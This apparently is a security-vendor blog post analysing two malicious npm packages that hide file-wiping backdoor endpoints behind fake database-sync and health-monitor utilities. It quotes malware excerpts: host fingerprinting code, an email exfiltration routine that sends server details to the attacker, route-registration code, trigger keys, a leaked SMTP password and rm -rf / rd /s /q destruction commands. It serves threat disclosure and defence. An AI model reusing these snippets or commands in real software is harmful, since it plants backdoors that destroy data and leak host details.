Ready for another round of npm destruction? This time, the packages come with a built-in kill switch for your entire production environment.
Socket's Threat Research Team discovered two malicious npm packages that masquerade as legitimate utilities while implementing backdoors designed to destroy production systems. Published by npm user botsailer using email anupm019@gmail[.]com, both express-api-sync and system-health-sync-api secretly register hidden endpoints that, when triggered with the right credentials, execute file deletion commands that wipe out entire application directories.
Socket AI Scanner’s analysis of the malicious express-api-sync package.
This package claims to be "a simple express api to sync data between two databases." In reality, it contains no database functionality whatsoever. Instead, it implements a single-purpose backdoor that waits for the kill command.
How the Backdoor Works
When a developer adds this middleware to their Express application, it appears to do nothing. The package exports a function that returns standard Express middleware, making it blend into typical Node.js applications. However, on the first HTTP request to ANY endpoint in your application, the malicious code springs into action.
The initialized flag ensures the backdoor registers only once
Empty catch block hides any registration failures
No logging or console output to maintain stealth
Unix-only deletion command (rm -rf *)
The backdoor accepts POST requests to /api/this/that using the hardcoded key "DEFAULT_123" sent via header (x-secret-key) or body parameter (secretKey). This flexibility ensures the backdoor is triggered, regardless of how the attacker prefers to send requests, though the generic key suggests the threat actor didn't bother creating unique keys for different victims.
Once triggered, the rm -rf * command executes in the application's working directory, deleting all files, including source code, configuration files, uploaded assets, and any local databases. The endpoint returns status messages to the attacker indicating success ({"message":"All files deleted"}) or failure of the destruction.
This package represents a significant escalation in sophistication. Where express-api-sync is a blunt instrument, system-health-sync-api is a Swiss Army knife of destruction with built-in intelligence gathering.
The package includes legitimate-looking features that might pass casual inspection:
Real dependencies (nodemailer, performance-now)
A friendly post-install message: "✓ Successfully installed health monitor"
Notice how it checks for process.env.ALERT_EMAIL - to make developers think it's reading from their environment configuration. In reality, it defaults to the attacker's email address when this variable isn't set (which is almost always).
Information Gathering Before Destruction
Before executing any destructive commands, the package harvests extensive information about the target system:
// From: index.js
const serverFingerprint = {
hostname: os.hostname(), // Server name
ip: req ? req.headers['x-forwarded-for'] || req.socket.remoteAddress : 'N/A',
cwd: process.cwd(), // Current working directory
pid: process.pid, // Process ID
timestamp: new Date().toISOString(),
hash: crypto.createHash('sha256')
.update(JSON.stringify(process.env))
.digest('hex') // Environment variables hash
};
// Constructs the full backend URL
const backendUrl = `${req?.protocol}://${req?.get('host')}${req?.originalUrl || ''}`;
The environment variables hash is particularly concerning. While it doesn't directly expose secrets, it creates a unique fingerprint that could help attackers identify servers with specific configurations or detect when environment variables change (possibly indicating new API keys or credentials).
Multi-Platform Destruction
Unlike express-api-sync's Unix-only approach, this package detects the operating system and adjusts its destruction command accordingly:
This cross-platform support means the malware works equally well on Windows servers running IIS with Node.js, Linux production servers, and macOS development machines. The Windows command rd /s /q . is particularly devastating as it removes the current directory itself, not just its contents.
Email-Based Command and Control
The package uses email as a covert communication channel. It includes hardcoded SMTP credentials that were poorly obfuscated:
This configuration reveals several critical details. The package connects to a legitimate email service (Hostinger) using real credentials. The || operators create an illusion of configurability. Developers might think they can override these settings, but in practice, the hardcoded values are almost always used.
The password Rebel@shree1 is "hidden" using Base64 encoding (UmViZWxAc2hyZWUx). Encoding is not encryption. Encoding is more like writing a password backwards and calling it secure. Any developer can decode it in seconds.
The transporter.verify() call happens when your server starts. In this case, it’s used to test whether the malware can successfully connect to the attacker's email server. If it succeeds, it logs "SMTP Server Ready" which looks like a normal health check but actually confirms the command-and-control channel is operational. Using SMTP for data exfiltration is clever since most firewalls allow outbound email traffic, and it blends in with legitimate application emails.
Every significant event triggers an email to anupm019@gmail[.]com:
// From: index.js - sendAlert function
await transporter.sendMail({
from: `"System Monitor" <${smtpConfig.auth.user}>`,
to: config.email,
subject: `[CORE] ${message} @ ${serverFingerprint.hostname}`,
text: `${message}\n\nBackend URL: ${backendUrl}\n\n${JSON.stringify(serverFingerprint, null, 2)}`,
html: `<pre>${JSON.stringify(serverFingerprint, null, 2)}</pre>
<strong>The backend is hosted on this complete url : ${backendUrl} </strong>`
});
The email includes the full backend URL, potentially exposing internal infrastructure details, development environments, or staging servers that shouldn't be publicly known.
Triple Redundancy
The package creates three endpoints to ensure maximum chance of successful activation:
Health Check (GET /_/system/health) - Returns server status for reconnaissance
Primary Backdoor (POST /_/system/health) - Main destruction endpoint with full configuration support
Secondary Backdoor (POST /_/sys/maintenance) - Backup destruction endpoint from core.js
The primary backdoor provides detailed logging and error responses, including helpful hints like "POST /endpoint with valid X-System-Key header" when authentication fails. It executes platform-specific destruction commands (rm -rf * on Unix, rd /s /q . on Windows) and sends email notifications before responding.
The secondary backdoor uses a different authentication header (x-maintenance-key instead of x-system-key) and sends emails with a different sender name ("System Health" vs "System Monitor"), providing redundancy in case one endpoint is discovered and blocked.
Both destruction endpoints support dry-run mode for reconnaissance and include the same cross-platform deletion logic, but return different response formats to avoid detection patterns.
Framework Auto-Detection
The package automatically detects which web framework is being used and adapts accordingly:
// From: index.js - registerRoute function
if (typeof app.post === 'function') {
app.post(config.endpoint, handler);
config.log.info(`Express route registered: POST ${config.endpoint}`);
} else if (typeof app.addRoute === 'function') {
app.addRoute({ method: 'POST', url: config.endpoint, handler });
config.log.info(`Fastify route registered: POST ${config.endpoint}`);
} else if (typeof app.on === 'function') {
app.on('request', (req, res) => {
if (req.url === config.endpoint && req.method === 'POST') {
handler(req, res);
}
});
config.log.info(`HTTP server route registered: POST ${config.endpoint}`);
}
Helpful Error Messages for Attackers
When authentication fails, the package actually helps attackers understand how to use it correctly:
Attackers first verify the backdoor via GET /_/system/health which returns the server's hostname and status. They can test with dry-run mode if configured, then execute destruction using POST /_/system/health or the backup POST /_/sys/maintenance endpoint with the key "HelloWorld" (sent via x-system-key or x-maintenance-key headers respectively).
If developers used custom configuration, attackers learn the custom endpoints from the email notifications they receive. For example, if configured with endpoint: '/api/health-check' and secret: 'MyCustomKey123', the activation email reveals the custom URL, allowing attackers to adjust their requests accordingly. However, emails still go to the hardcoded anupm019@gmail[.]com address unless explicitly overridden.
Outlook and Recommendations
These packages represent a concerning addition to npm's threat landscape, while most attacks focus on stealing cryptocurrency or credentials, these prioritize complete system destruction. The progression from express-api-sync's basic backdoor to system-health-sync-api's multi-layered approach shows this particular threat actor refining their techniques.
What This Means
Destruction is the new theft: These packages don't steal cryptocurrency or credentials—they delete everything. This suggests attackers motivated by sabotage, competition, or state-level disruption rather than being solely financially motivated.
Email reconnaissance before destruction: By harvesting server details via email before attacking, adversaries build target lists and verify installations, mirroring reconnaissance tactics used across other software ecosystems. Future attacks will likely:
Map entire company infrastructures before striking
Coordinate simultaneous attacks across multiple servers
Sell infrastructure intelligence to competitors
Wait months or years before activation
Middleware as the perfect target: Express middleware runs on every request with full application privileges. Expect more attacks targeting:
"Security" tools that actually create vulnerabilities
Socket's behavioral analysis detects these evolving patterns by monitoring package actions in real-time. Our GitHub app blocks malicious packages in pull requests, while the CLI alerts during installation, and our browser extension provides security insights directly on npm package pages, catching threats that traditional scanners miss.
The remediated findings include organization permission bugs, stale project access after transfers, OIDC replay edge cases, audit logging gaps, and an IDOR in API token deletion.
GitHub account BufferZoneCorp published sleeper packages that later added credential theft, GitHub Actions tampering, fake go wrappers, and SSH persistence.